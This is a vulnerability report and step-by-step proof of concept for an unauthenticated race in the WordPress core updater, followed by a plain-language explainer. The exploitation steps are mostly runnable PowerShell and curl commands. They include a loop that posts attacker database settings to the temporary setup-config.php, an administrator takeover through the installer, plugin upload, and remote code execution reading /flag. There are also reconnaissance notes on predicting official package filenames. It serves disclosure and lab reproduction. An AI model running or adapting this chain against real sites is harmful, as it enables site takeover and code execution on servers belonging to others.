Content-Disposition: attachment; filename=wordpress-7.0.2-no-content.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-new-bundled.zip
Content-Disposition: attachment; filename=wordpress-7.0.2-partial-1.zip

The official target-beta package at https://wordpress.org/wordpress-7.1-beta4.zip also returned on an actual ranged GET:

HTTP
Content-Disposition: attachment; filename=wordpress-7.1-beta4.zip

The target code lowercases and sanitizes the supplied filename, renames the initially random download, and then removes .zip when constructing the upgrade directory. The resulting paths are therefore:

Text
/wp-content/upgrade/wordpress-7.0.2/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.0.2-no-content/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.0.2-new-bundled/wordpress/wp-admin/setup-config.php
/wp-content/upgrade/wordpress-7.1-beta4/wordpress/wp-admin/setup-config.php

The exact name is based on the package being installed, not necessarily the site's currently installed version. The behaviour can be verified without downloading the complete package:

PowerShell
curl.exe -sSI `
  'https://downloads.wordpress.org/release/wordpress-7.0.2-no-content.zip' |
  Select-String -Pattern 'Content-Disposition'

curl.exe -sSI `
  'https://wordpress.org/wordpress-7.1-beta4.zip' |
  Select-String -Pattern 'Content-Disposition'

The anonymous official core version-check API at https://api.wordpress.org/core/version-check/1.7/?locale=en_US publishes the applicable package URLs. When queried as an installed 7.0.1 site, it returned package names for the 7.0.2 target including:

Text
full:        wordpress-7.0.2.zip
no_content:  wordpress-7.0.2-no-content.zip
new_bundled: wordpress-7.0.2-new-bundled.zip
partial:     wordpress-7.0.2-partial-1.zip

If the attacker does not know which variant is active, the candidate set is small enough to probe concurrently during the update window. No directory listing is needed for these official filenames.

Localized packages are deterministic as well. For example, the German package response supplied:

HTTP
Content-Disposition: attachment; filename=wordpress-7.0.2-de_DE.zip

Because download_url() lowercases the whole header before extracting the filename, the actual directory is:

Text
/wp-content/upgrade/wordpress-7.0.2-de_de/

A normal English same-branch maintenance update usually selects a partial package when one is available. The inspected partial packages do not contain setup-config.php, so those updates do not expose the installer required by this chain. However, partial packages are not universally selected. Some legitimate automatic-update offers contain no applicable partial package, and in those cases Core_Upgrader automatically falls through to new_bundled, no_content, or full, each of which can be sufficiently complete for this vulnerability. No attacker-controlled update server or authenticated reinstallation is required.

A live en_US API survey on 2026-08-03 found:

  • With major automatic updates enabled, every surveyed stable WordPress release from 3.7 through 6.9.5 selected the 7.0.2 autoupdate offer without a partial package. Versions below 6.7 selected new_bundled; versions 6.7 through 6.9.5 selected no_content.
  • Archived beta and release-candidate installations in branches 4.7 through 6.6 received same-branch new_bundled automatic-update offers without partial packages.
  • Archived prereleases in branches 6.7 through 7.0 received same-branch no_content offers without partial packages.
  • The target 7.1 development build receives a literal full nightly automatic-update offer without partial, no-content, or new-bundled alternatives.

Archive inspection produced an important distinction:

  • wordpress-7.0.2.zip contains wordpress/wp-admin/setup-config.php.
  • wordpress-7.0.2-no-content.zip contains wp-admin/setup-config.php, wp-config-sample.php, and wp-admin/includes/update-core.php.
  • New-bundled and localized full packages contain the required setup files.
  • The tested wordpress-7.0.2-partial-1.zip and rollback packages do not contain setup-config.php.
  • Other inspected partial packages similarly omitted setup-config.php.

So the official CDN filename removes the path-guessing blocker, but a clean minor update that selects a small partial archive does not expose the installer needed by this particular chain. The chain remains applicable when WordPress selects a full, no-content, new-bundled, localized full, beta, or another complete distribution. Checksum-precheck failure, reinstallation, absence of a matching partial package, and certain bundled-content transitions can cause such a complete package to be selected.

Without the qualifying header, the target creates:

Text
/wp-content/upgrade/<package-stem>-<six-random-alphanumeric-characters>/

No default unauthenticated WordPress-core endpoint was found that discloses this random name. Public REST, AJAX, cron, maintenance-mode, Site Health, and updater status/error paths do not reveal it. Directory indexing, WebDAV, public debug logs, or verbose server errors could disclose it, but those are deployment-specific rather than WordPress-core defaults. The six-character CSPRNG suffix has approximately 62^6, or 56.8 billion, possibilities and should not be treated as guessable.

Exploitation

Step 1: define lab parameters

In Terminal 1, set the variables shown in the Setup section above. They fix the network, database, web and API container names, the source volume, the target URL, and the paths to the source tree and checksum router.

Step 2: create the isolated network and source volume

PowerShell
docker network create $Network
docker volume create $Volume

Populate the volume from the supplied target source and make it writable by the PHP worker:

PowerShell
docker run --rm --entrypoint sh `
  --mount "type=bind,source=$SourceRoot,target=/src,readonly" `
  --mount "type=volume,source=$Volume,target=/dest" `
  wordpress `
  -c 'cp -a /src/. /dest/ && chown -R www-data:www-data /dest'

Step 3: start MySQL and create victim/attacker databases

PowerShell
docker run -d `
  --name $Database `
  --network $Network `
  -e MYSQL_ROOT_PASSWORD=root-change-me `
  mysql:8.0

Wait for MySQL:

PowerShell
do {
    Start-Sleep -Seconds 2
    docker exec $Database mysqladmin ping `
      -uroot -proot-change-me --silent *> $null
} until ($LASTEXITCODE -eq 0)

Create separate databases and users:

PowerShell
docker exec $Database mysql -uroot -proot-change-me -e "
CREATE DATABASE wp_victim CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE DATABASE wp_audit CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'wp_victim'@'%' IDENTIFIED BY 'victim-pass';
CREATE USER 'wp_attacker'@'%' IDENTIFIED BY 'change-me';
GRANT ALL PRIVILEGES ON wp_victim.* TO 'wp_victim'@'%';
GRANT ALL PRIVILEGES ON wp_audit.* TO 'wp_attacker'@'%';
FLUSH PRIVILEGES;"

This gives the victim site its own database and credentials, and gives the attacker a separate empty database (wp_audit) with its own user (wp_attacker).

Step 4: start the vulnerable target

PowerShell
docker run -d `
  --name $Web `
  --network $Network `
  -p [redacted]:18085:80 `
  --mount "type=volume,source=$Volume,target=/var/www/html" `
  wordpress

The repository's main/src tree is a development source tree. It omits wp-config-sample.php, which is stored at main/wp-config-sample.php, and its index.php is a build reminder. Apply the two production-build equivalents needed by this PHP-only PoC:

PowerShell
docker cp `
  '.\main\wp-config-sample.php' `
  "${Web}:/var/www/html/wp-config-sample.php"

docker exec $Web sh -lc `
  'cp /var/www/html/_index.php /var/www/html/index.php && chown www-data:www-data /var/www/html/index.php /var/www/html/wp-config-sample.php'

Wait for the setup page:

PowerShell
do {
    Start-Sleep -Seconds 2
    $HttpCode = curl.exe -s -o NUL -w '%{http_code}' `
      "$Target/wp-admin/setup-config.php"
} until ($HttpCode -eq '200')

"Target ready: $Target"

Step 5: install the original victim site

Create the original configuration:

PowerShell
$InitialConfig = curl.exe -sS -X POST `
  "$Target/wp-admin/setup-config.php?step=2&noapi=1" `
  --data-urlencode 'dbname=wp_victim' `
  --data-urlencode 'uname=wp_victim' `
  --data-urlencode 'pwd=victim-pass' `
  --data-urlencode "dbhost=$Database" `
  --data-urlencode 'prefix=wp_' `
  --data-urlencode 'language=en_US' `
  --data-urlencode 'noapi=1'

$InitialConfig | Select-String -SimpleMatch 'All right, sparky'

Install the victim site:

PowerShell
$InitialInstall = curl.exe -sS -X POST `
  "$Target/wp-admin/install.php?step=2" `
  --data-urlencode 'weblog_title=Original Victim Site' `
  --data-urlencode 'user_name=victimadmin' `
  --data-urlencode 'admin_password=Victim-Admin-2026!x7Q' `
  --data-urlencode 'admin_password2=Victim-Admin-2026!x7Q' `
  --data-urlencode 'admin_email=[redacted]' `
  --data-urlencode 'blog_public=0' `
  --data-urlencode 'language=en_US'

$InitialInstall | Select-String -Pattern 'Success|WordPress has been installed'

Verify the original site:

PowerShell
curl.exe -sS -o NUL -w "HTTP %{http_code}`n" "$Target/"

Expected:

Text
HTTP 200

Install the disposable flag fixture:

PowerShell
docker cp '.\audit-bj-flag.txt' "${Web}:/flag"

Step 6: build the complete local core package

Copy the builder and run it as the same user that normally performs web updates:

PowerShell
docker cp `
  '.\audit-bj-build-package.php' `
  "${Web}:/tmp/audit-bj-build-package.php"

docker exec --user www-data $Web php `
  /tmp/audit-bj-build-package.php `
  /var/www/html `
  /tmp/audit-wordpress-known.zip

Expected output contains a file count and:

Text
zip=/tmp/audit-wordpress-known.zip

Copy the package responder and updater runner only after building the ZIP, so these lab helpers do not become members of the simulated distribution:

PowerShell
docker cp `
  '.\audit-bj-package-response.php' `
  "${Web}:/var/www/html/audit-bj-package.php"

docker cp `
  '.\audit-bj-run-core-update.php' `
  "${Web}:/var/www/html/audit-bj-run-core-update.php"

Step 7: start the delayed checksum simulator

PowerShell
docker run -d `
  --name $Api `
  --network $Network `
  --network-alias api.wordpress.org `
  --mount "type=bind,source=$ChecksumRouter,target=/router.php,readonly" `
  --entrypoint php `
  wordpress `
  -S [redacted]:80 /router.php

Verify the package response provides the deterministic filename:

PowerShell
curl.exe -sSI "$Target/audit-bj-package.php" |
  Select-String -Pattern 'HTTP/|Content-Disposition|Content-Length'

Required output:

Text
Content-Disposition: attachment; filename=wordpress-simulated.zip

If that header is absent in another environment and there is no directory disclosure, stop the PoC rather than guessing the random suffix.

Step 8: start the unauthenticated race in Terminal 2

Open a second PowerShell terminal:

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

$Target = 'http://[redacted]:18085'
$Setup = "$Target/wp-content/upgrade/wordpress-simulated/wordpress/wp-admin/setup-config.php?step=2&noapi=1"

while ($true) {
    $Body = (& curl.exe -sS --max-time 3 -X POST $Setup `
        --data-urlencode 'dbname=wp_audit' `
        --data-urlencode 'uname=wp_attacker' `
        --data-urlencode 'pwd=change-me' `
        --data-urlencode 'dbhost=wp-race-db' `
        --data-urlencode 'prefix=bj_' `
        --data-urlencode 'language=en_US' `
        --data-urlencode 'noapi=1' 2>$null) -join "`n"

    if ($Body.Contains('All right, sparky')) {
        '[+] Nested attacker wp-config.php created'
        break
    }

    Start-Sleep -Milliseconds 20
}

The loop posts the attacker's database parameters to the extracted setup-config.php at the predictable path. Initial requests return 404 while the path does not exist. Leave this loop running and continue immediately in Terminal 3.

Step 9: trigger the full update in Terminal 3

The helper triggers the legitimate core-updater code path. In a real attack, the pre-authenticated attacker waits for an administrator-initiated or automatic update; the helper is operator-side test instrumentation, not attacker authority.

PowerShell
Set-Location 'C:\Users\simse\Desktop\wordpress'

docker exec `
  --user www-data `
  -e AUDIT_BJ_PACKAGE=http://[redacted]/audit-bj-package.php `
  wp-race-web `
  php /var/www/html/audit-bj-run-core-update.php

Running the helper as www-data matters. Running it as container root while the tree belongs to www-data makes WordPress select the FTP filesystem method.

Inspect the timeline:

PowerShell
docker exec wp-race-web cat /tmp/audit-bj-update.log

Expected phases:

Text
feedback Downloading update
feedback Unpacking the update
update_feedback Verifying the unpacked files
update_feedback Preparing to install the latest version
update_feedback Enabling Maintenance mode
update_feedback Copying the required files
update_feedback Disabling Maintenance mode
end result='7.1-beta4-62899-src'

Terminal 2 must print:

Text
[+] Nested attacker wp-config.php created

Step 10: verify persistent live configuration takeover

In Terminal 1 or 3:

PowerShell
docker exec wp-race-web grep `
  -e DB_NAME `
  -e DB_USER `
  -e DB_HOST `
  -e table_prefix `
  /var/www/html/wp-config.php

Expected:

PHP
define( 'DB_NAME', 'wp_audit' );
define( 'DB_USER', 'wp_attacker' );
define( 'DB_HOST', 'wp-race-db' );
$table_prefix = 'bj_';

The extracted working directory may already be deleted. The live configuration remains overwritten.

Step 11: retire the checksum simulator

The checksum helper returns only the checksum API schema. Leaving it registered as api.wordpress.org causes later plugin/theme update checks to receive malformed data. Block external HTTP in this local lab, then stop the simulator:

PowerShell
docker exec --user www-data wp-race-web sed -i `
  "/Add any custom values/a define( 'WP_HTTP_BLOCK_EXTERNAL', true );" `
  /var/www/html/wp-config.php

docker stop wp-race-api

Verify the local-only setting:

PowerShell
docker exec wp-race-web grep `
  -e WP_HTTP_BLOCK_EXTERNAL `
  /var/www/html/wp-config.php

Step 12: install the attacker-database site as administrator

The attacker begins this stage without any credentials. The empty bj_ database is now the live site's database, so the normal installer grants the attacker the first admin.

PowerShell
$Target = 'http://[redacted]:18085'

$AttackerInstall = curl.exe -sS -X POST `
  "$Target/wp-admin/install.php?step=2" `
  --data-urlencode 'weblog_title=BJ Race Site' `
  --data-urlencode 'user_name=bjadmin' `
  --data-urlencode 'admin_password=BJ-Race-2026!' `
  --data-urlencode 'admin_password2=BJ-Race-2026!' `
  --data-urlencode 'admin_email=[redacted]' `
  --data-urlencode 'blog_public=0' `
  --data-urlencode 'language=en_US'

$AttackerInstall |
  Select-String -Pattern 'Success|WordPress has been installed'

Expected output contains:

Text
Success!
WordPress has been installed

Step 13: log in and preserve the cookie jar

Use a definite writable cookie-jar path in the repository:

PowerShell
$Cookies = Join-Path (Get-Location).Path 'race-poc-cookies.txt'
New-Item -ItemType File -Force -Path $Cookies | Out-Null

curl.exe -sS -D - `
  -c $Cookies `
  "$Target/wp-login.php" `
  -o NUL |
  Select-String -Pattern 'HTTP/|Set-Cookie'

Confirm the test cookie was saved:

PowerShell
Get-Content $Cookies |
  Select-String -SimpleMatch 'wordpress_test_cookie'

Log in:

PowerShell
$LoginHeaders = (& curl.exe -sS `
  -D - `
  -o NUL `
  -b $Cookies `
  -c $Cookies `
  -X POST "$Target/wp-login.php" `
  --data-urlencode 'log=bjadmin' `
  --data-urlencode 'pwd=BJ-Race-2026!' `
  --data-urlencode 'wp-submit=Log In' `
  --data-urlencode "redirect_to=$Target/wp-admin/" `
  --data-urlencode 'testcookie=1') -join "`n"

$LoginHeaders |
  Select-String -Pattern 'HTTP/|Location:|Set-Cookie:'

Expected output includes an HTTP 302 and a wordpress_logged_in_... cookie. Confirm it:

PowerShell
Get-Content $Cookies |
  Select-String -SimpleMatch 'wordpress_logged_in'

Step 14: obtain the plugin-upload nonce

PowerShell
$UploadPage = (& curl.exe -sS `
  -b $Cookies `
  "$Target/wp-admin/plugin-install.php?tab=upload") -join "`n"

$Nonce = [regex]::Match(
    $UploadPage,
    'name="_wpnonce"[^>]*value="([^"]+)"'
).Groups[1].Value

if ([string]::IsNullOrWhiteSpace($Nonce)) {
    $UploadPage |
      Select-String -Pattern 'login_error|not allowed|wp-login|error'
    throw 'Plugin-upload nonce was not found'
}

"Nonce: $Nonce"

Step 15: upload the proof plugin

The repository contains a ZIP with one PHP file that returns file_get_contents('/flag') when bj_rce is present. Activation is unnecessary because an exact request to the PHP file is handled directly by Apache/PHP.

PowerShell
$PluginZip = (Resolve-Path '.\audit-bj-plugin.zip').Path

$UploadResponse = (& curl.exe -sS `
  -b $Cookies `
  -F "_wpnonce=$Nonce" `
  -F '_wp_http_referer=/wp-admin/plugin-install.php?tab=upload' `
  -F "pluginzip=@$PluginZip;type=application/zip" `
  -F 'install-plugin-submit=Install Now' `
  "$Target/wp-admin/update.php?action=upload-plugin") -join "`n"

$UploadResponse |
  Select-String -Pattern 'Plugin installed successfully|Installation failed|Connection Information|error'

Expected:

Text
Plugin installed successfully

Step 16: read /flag

PowerShell
curl.exe -i `
  "$Target/wp-content/plugins/audit-bj-rce/audit-bj-rce.php?bj_rce=1"

Expected:

HTTP
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
Content-Length: 21

BJ_RACE_FLAG_READ_OK

Successful race timing

The independently reproduced successful run recorded:

Text
1785773151.576526  package unpacking began
1785773152.642000  first successful setup request started
1785773152.733282  updater entered checksum/preparation phase
1785773152.818000  nested wp-config.php finished
1785773153.037744  updater entered root copy_dir()
1785773155.344153  updater completed successfully

The malicious configuration existed approximately 219 ms before the vulnerable root directory snapshot.

Troubleshooting validated during reproduction

setup-config.php returns HTTP 500. If the response says it needs wp-config-sample.php, copy main/wp-config-sample.php into the container and assign it to www-data as shown in Step 4.

/ returns HTTP 500 after initial installation. If the response says WordPress is running without built JavaScript/CSS files, the raw source-tree index.php is still active. Copy _index.php over index.php as shown in Step 4. This mirrors the relevant production-build output for the PHP-only lab.

Updater displays an FTP credentials form and logs end result=false. The updater runner was executed as root while the target tree belongs to www-data. Run the helper with:

PowerShell
docker exec --user www-data ...

If a previous root run created /tmp/audit-bj-update.log, repair its ownership before retrying:

PowerShell
docker exec wp-race-web chown www-data:www-data /tmp/audit-bj-update.log

copy_failed_copy_dir_retry: Could not copy file. Check the live config first: the configuration overwrite may already have succeeded before a later file failed. In the observed lab, root-owned wp-config-sample.php caused the later error. Assign the sample file to www-data before building the package to obtain a clean successful update.

Shell reports DB_HOST: not found or table_prefix: not found. PowerShell interpreted the pipe characters in a nested sh -lc regex. Use separate grep -e arguments as shown in Step 10.

Plugin-upload nonce is empty. Confirm that the cookie file exists, contains wordpress_test_cookie, the login returns HTTP 302, and the jar contains wordpress_logged_in. Step 13 deliberately makes each condition visible.

Plugin upload returns HTTP 500 and the plugin URL returns 404. The checksum simulator may still be registered as api.wordpress.org. Its checksum JSON is not a valid plugin-update response and can cause array_walk(null) in the admin update path. Complete Step 11 before visiting plugin administration pages.

Validation helpers

  • audit-bj-build-package.php: builds the full nested wordpress/ package.
  • audit-bj-package-response.php: supplies the stable Content-Disposition filename.
  • audit-bj-checksum-router.php: supplies the 300 ms checksum response.
  • audit-bj-run-core-update.php: invokes Core_Upgrader and logs its phases.
  • audit-bj-plugin.zip: prebuilt one-file /flag reader.
  • audit-bj-build-plugin.php: source builder for the proof plugin.
  • audit-bj-flag.txt: disposable local /flag fixture.

All PHP helpers passed php -l validation in an isolated PHP container. The package responder, checksum router, updater runner, and /flag fixture are lab instrumentation. The vulnerable package extraction, nested setup, checksum iteration, root copying, configuration selection, installer, and plugin upload behaviour remain the unmodified target code.

Root cause

Package-controlled response filename becomes the work-directory basename

download_url() initially creates a random temporary filename:

  • main/src/wp-admin/includes/file.php:674-725
  • main/src/wp-admin/includes/file.php:1160-1173

It then accepts a sanitised Content-Disposition filename and renames the temporary file to that exact name:

  • main/src/wp-admin/includes/file.php:1222-1241

WP_Upgrader::unpack_package() derives the extraction directory from the resulting package basename:

  • main/src/wp-admin/includes/class-wp-upgrader.php:358-401

For this response:

HTTP
Content-Disposition: attachment; filename=wordpress-simulated.zip

the web path becomes:

Text
/wp-content/upgrade/wordpress-simulated/wordpress/

The nested setup script is pre-authenticated

The extracted wp-admin/setup-config.php defines its own WP_INSTALLING, WP_SETUP_CONFIG, and nested ABSPATH:

  • main/src/wp-admin/setup-config.php:15-35

It checks only for configuration files in or immediately above the extracted tree:

  • main/src/wp-admin/setup-config.php:58-82

The live configuration is several directories above that tree and is therefore not detected. At step 2, the script accepts the database name, user, password, host, and prefix directly from POST:

  • main/src/wp-admin/setup-config.php:278-343

It reconstructs the sample configuration and writes a nested wp-config.php:

  • main/src/wp-admin/setup-config.php:377-498
  • exact write path selection at main/src/wp-admin/setup-config.php:463-469

No WordPress login, capability, or nonce is required.

Core update copies the unexpected config over the live site

The core updater excludes only:

PHP
$skip = array( 'wp-content', 'wp-includes/version.php' );

See main/src/wp-admin/includes/update-core.php:1293.

Checksum processing iterates the known official checksum keys. It does not enumerate and reject unexpected distribution-root files:

  • main/src/wp-admin/includes/update-core.php:1296-1339

The updater later copies the distribution root into live ABSPATH:

  • main/src/wp-admin/includes/update-core.php:1370-1384

copy_dir() snapshots all non-skipped source entries and overwrites destination files:

  • main/src/wp-admin/includes/file.php:2025-2049

Because wp-config.php is not in the skip list, the attacker-created configuration is copied over the live file. The working tree is deleted only near the end:

  • main/src/wp-admin/includes/update-core.php:1645-1646

Deleting the working tree does not restore the overwritten live configuration.

The extracted tree is a complete, bootstrappable installation exposed below a web-served directory, and the updater copies whatever appears in the distribution root at copy time. The setup script's configuration check is scoped to its own tree, so it does not see the real configuration, and the updater's skip list does not cover wp-config.php. The race window and the predictable package filename are the two obstacles the report focuses on, alongside the deployment conditions listed above.

Impact

Successful exploitation changes the live site's database trust boundary without prior authentication. The attacker gains control of the site's first-install state, creates an administrator, and reaches PHP execution through the ordinary plugin-upload facility. Existing victim database contents remain in the original database, but the live application stops using them while the malicious configuration is present.

The chain is deployment-conditional. It requires a full or sufficiently complete core package, wp-content/upgrade under the web document root with PHP execution below it, a writable upgrade tree and live files, an attacker-reachable MySQL database, a predictable or disclosed upgrade working-directory basename, enough time after extraction for one setup request to finish before copy_dir() snapshots the distribution root, and PHP execution in the normal plugin directory for the final RCE step. A clean minor update that selects a small partial archive does not expose the installer needed by this particular chain.

Fix

The report does not describe a fix or a change made in response. It documents the vulnerable behaviour and the conditions under which it is reachable.

Variants to test

  • Other package variants with a stable Content-Disposition filename. Request the package headers and look for Content-Disposition: attachment; filename=.... A positive result is a filename that maps directly to a predictable /wp-content/upgrade/<stem>/wordpress/wp-admin/setup-config.php path.
  • Localized packages. Check whether the localized package response supplies a filename such as wordpress-7.0.2-de_DE.zip; remember that download_url() lowercases the header, so the directory becomes wordpress-7.0.2-de_de. A positive result is a predictable lowercased directory.
  • Automatic-update offers without a partial package. Query the core version-check API as an installed version and inspect which package variant is offered. A positive result is a new_bundled, no_content, or full offer, each of which can be sufficiently complete for the chain.
  • Directory disclosure when the header is absent. Look for directory indexing, WebDAV, public debug logs, or verbose server errors that reveal the six-character random suffix. A positive result is the actual upgrade directory name appearing in a response or log.
  • Concurrent probing of the small candidate set. If the active variant is unknown, probe the known official filenames concurrently during the update window. A positive result is a 200 from the extracted setup-config.php rather than a 404.

Hunting notes

This kind of bug hides in update and installation machinery: code that extracts archives into web-served directories, code that copies files into a live tree, and setup scripts that decide whether they are configured by looking only at their own location. The signals during recon are an upgrade directory under the document root with PHP execution enabled, package responses that carry a stable Content-Disposition filename, and update offers that select complete rather than partial packages.

The report shows impact end to end: the live wp-config.php was verified to contain the attacker's database settings, the attacker completed the first installation, logged in, uploaded a plugin and read /flag, returning BJ_RACE_FLAG_READ_OK.: the live wp-config.php was verified to contain the attacker's database settings, the attacker completed the first installation, logged in, uploaded a plugin and read /flag, returning BJ_RACE_FLAG_READ_OK. The report also documents the timing that made the race succeed, with the malicious configuration existing approximately 219 ms before the vulnerable root directory snapshot, and the conditions under which the chain does not apply.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 45 min read.

What happened, in plain words

WordPress is a popular program for building websites. It is written in a programming language called PHP, and it keeps almost everything about a site (its users, passwords, posts and settings) in a separate piece of software called a database. A database is like a big organised filing cabinet that the website reads from and writes to.

One small file on the web server, called wp-config.php, is the address book entry that tells WordPress which database to talk to. If you can change that file, you can tell the website to stop using its real database and start using a different one that you control. That is the heart of this report.

The feature involved is the core updater: the part of WordPress that installs a new version of WordPress itself. When a full update runs, WordPress downloads a ZIP archive of the new version, unpacks it into a temporary folder inside the website's own public folder, checks the files, copies them over the live website, and then deletes the temporary folder.

The problem is that the unpacked copy is a complete, working WordPress installation, and it sits in a folder that the web server will happily serve to anyone who asks. That copy contains wp-admin/setup-config.php, the script that normally runs when you set up a brand new WordPress site. Because a brand new site has no users yet, that script does not ask anyone to log in.

So an attacker who sends a request at exactly the right moment, while the update is running, can use that temporary setup script to create a new wp-config.php inside the temporary folder. The updater then copies that file over the live site's real wp-config.php. The live site now points at the attacker's empty database, thinks it has never been installed, and lets the attacker create the first administrator account. From there the attacker uploads a small PHP plugin (a plugin is an add-on; plugins are written in PHP, which the server executes) and reads a file called /flag.

The end-to-end test returned:

HTTP
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
Content-Length: 21

BJ_RACE_FLAG_READ_OK

This is a raw HTTP response. The first line says the request succeeded (200 OK). Content-Type says the body is plain text. Content-Length: 21 says the body is 21 bytes long. The body itself, BJ_RACE_FLAG_READ_OK, is the response returned after the attacker's plugin read /flag, which shows the attacker got code running on the server.

Root cause (basically)

WordPress consists mainly of PHP application files and a database containing users, passwords, posts, and settings. A file named wp-config.php tells the PHP application which database it should use. Controlling that file effectively lets an attacker tell WordPress to stop using the real database and connect to the attacker's database instead.

During a core update, WordPress performs approximately these operations:

Text
Download the new WordPress ZIP
    -> Extract a complete WordPress tree below wp-content/upgrade/
    -> Check the extracted files
    -> Copy them over the live WordPress files
    -> Delete the temporary directory

Read that as a recipe with five stages. First the new version is fetched as a ZIP file (a single compressed archive, like a folder zipped up). Second it is unpacked into wp-content/upgrade/, a folder inside the website. Third the files are checked. Fourth they are copied over the real website files. Fifth the temporary folder is removed.

The vulnerability exists between extraction and copying.

The extracted tree is a complete, independently bootstrappable WordPress installation. It contains wp-admin/setup-config.php, the script normally used to configure a brand new site. Because the temporary tree is located below the public wp-content/upgrade directory, an attacker can request that PHP script over HTTP.

"Bootstrappable" means it can start up on its own, like a second copy of WordPress living in a subfolder. "Over HTTP" means the attacker can simply ask for it in a browser or with a command-line tool, the same way you would open any web page.

The real site already has a configuration at a location such as:

Text
/var/www/html/wp-config.php

This is a file path: a series of folders, each separated by a slash, ending in a file name. /var/www/html/ is the folder the web server treats as the website root, and wp-config.php is the configuration file inside it.

However, the extracted setup script checks only for a configuration in or immediately above its own temporary tree. It does not find the real configuration several directories away, so it behaves as if it belongs to a new, unconfigured WordPress site. New installations do not have users yet, so setup-config.php intentionally does not require authentication.

Think of it like a new employee who only looks in their own desk drawer and the drawer next to it for the office key. The real key is in the manager's office down the corridor, so the new employee concludes there is no key and starts setting up a brand new office from scratch.

The attacker sends the temporary setup script database parameters such as:

Text
Database: wp_audit
Username: wp_attacker
Password: change-me
Host:     attacker-mysql
Prefix:   bj_

These are the five pieces of information the setup script needs to write a configuration file. Database is the name of the database to use. Username and Password are the login for that database. Host is the machine where the database lives. Prefix is a short string put in front of every table name inside the database, so several sites can share one database without their tables colliding.

The script writes a new file inside the extracted distribution:

Text
/wp-content/upgrade/<known-package>/wordpress/wp-config.php

<known-package> is a placeholder for the name of the update package, which the next sections show is predictable.

Shortly afterward, the updater copies the extracted distribution over the live site. It excludes only wp-content and wp-includes/version.php; it neither excludes wp-config.php nor rejects unexpected files added after extraction. The resulting operation is effectively:

Text
temporary/wordpress/wp-config.php
        -> overwrite
live-site/wp-config.php

An "exclude list" is a list of things to leave alone during a copy. wp-content (where themes, plugins and uploads live) and one version file are on the list. wp-config.php is not, so it gets copied over the live one.

The live WordPress application now connects to the attacker's empty database. WordPress sees that its tables do not exist and enters the normal first-installation flow. The attacker completes that flow and becomes the first administrator of the replacement database. The original victim database still exists, but the live application is no longer using it.

On a typical WordPress deployment, an administrator can upload plugins, and plugins are PHP code. The new administrator uploads a plugin that reads /flag, then requests the plugin's PHP file directly. This turns the configuration overwrite into remote code execution.

"Remote code execution" means the attacker can make the server run code of their choosing, from a distance, without ever logging into the server itself.

The complete chain is:

Text
Unauthenticated attacker
    -> Access temporary setup-config.php during a core update
    -> Create a temporary wp-config.php pointing to attacker MySQL
    -> Updater copies it over the live wp-config.php
    -> Live site switches to the attacker's empty database
    -> Attacker completes first installation and becomes administrator
    -> Attacker uploads a PHP plugin
    -> Remote code execution and /flag read

Each arrow is one step that depends on the previous one. "Unauthenticated" means the attacker has no account and no password on the site.

This is a race because the attacker must create the temporary configuration after the archive exposes setup-config.php but before copy_dir() lists the distribution-root files. Sending the request too early produces a 404; sending it too late means the updater has already selected the files to copy.

A "race" here is a timing contest. copy_dir() is the internal function that copies a folder. It first takes a snapshot of which files exist, then copies them. If the attacker's file appears after the snapshot, it is not copied. A 404 is the standard "not found" response a web server gives when the requested page does not exist.

The attacker must also know the temporary directory name. A package response containing a stable Content-Disposition filename makes that name predictable. Follow-up live validation found that the official stable, automatic-update, localized, and target-beta package servers currently provide such filenames. Thus the random suffix is not a practical blocker when a qualifying official package is selected. Without that header, directory listing, or another path disclosure, the six-character random suffix is not practical to guess.

Content-Disposition is a line in a web server's response that suggests a file name for the download. If the server always says "this download is called wordpress-7.0.2.zip", WordPress uses that name for the temporary folder, so the attacker knows the folder name in advance. Without it, WordPress makes up a random six-character ending, and guessing it is hopeless.

In one sentence: WordPress temporarily exposes a configuration-capable second installation during an update and later trusts and copies a configuration file that an unauthenticated request can add to that installation.

2. Important scope and qualifications

This is an end-to-end proven but deployment-conditional chain.

"Deployment-conditional" means it only works if the site is set up in a particular way. The report lists the conditions honestly rather than claiming every WordPress site is affected.

The following conditions are required:

  1. A full or sufficiently complete core package is being installed.
  2. The archive contains wordpress/wp-admin/setup-config.php, wordpress/wp-config-sample.php, and the normal bootstrap files.
  3. wp-content/upgrade is under the web document root and PHP files below it execute.
  4. The web server/updater can write the upgrade tree and live WordPress files.
  5. The attacker has a MySQL database reachable from the WordPress host.
  6. The upgrade working-directory basename is predictable or disclosed.
  7. There is enough time after extraction for one setup request to finish before copy_dir() snapshots the distribution root.
  8. PHP execution is permitted in the normal plugin directory for the final RCE step.

In plain terms: the update must be a big one (not a tiny patch), the archive must include the setup script, the temporary folder must be reachable from the web, the server must be allowed to write files, the attacker needs their own database the site can reach, the folder name must be knowable, the timing must work, and plugins must be allowed to run PHP. wp-config-sample.php is a template file that the setup script uses as a starting point.

The target makes the upgrade basename deterministic when the package response contains a header beginning:

HTTP
Content-Disposition: attachment; filename=

"Deterministic" means predictable: the same input always gives the same result. "Basename" is the last part of a path, the folder or file name itself. "Header" is a line of metadata in an HTTP response, separate from the body.

Without that header or another directory-disclosure mechanism, wp_tempnam() leaves a six-character CSPRNG suffix. That suffix has approximately 62^6, or 56.8 billion, possibilities and should not be treated as guessable.

wp_tempnam() is the WordPress function whose random suffix remains when no qualifying header is present. "CSPRNG" stands for cryptographically secure pseudo-random number generator: a random number generator designed so its output cannot be predicted. 62^6 means 62 choices per character, six characters long, which is about 56.8 billion combinations.

Follow-up live inspection on 2026-08-03 confirmed that the official WordPress package servers currently supply the qualifying header for stable full, no-content, new-bundled, partial, localized, and beta packages. This resolves the earlier filename uncertainty for those official packages. A custom proxy, mirror, nightly package, or rename failure can still leave the random suffix in place.

A "proxy" or "mirror" is an intermediary server that fetches files on your behalf. A "nightly package" is a build made automatically every night from the latest code.

The reproduced successful run used a 300 ms local checksum response. A deliberately zero-latency control missed the root directory snapshot by roughly 100-150 ms.

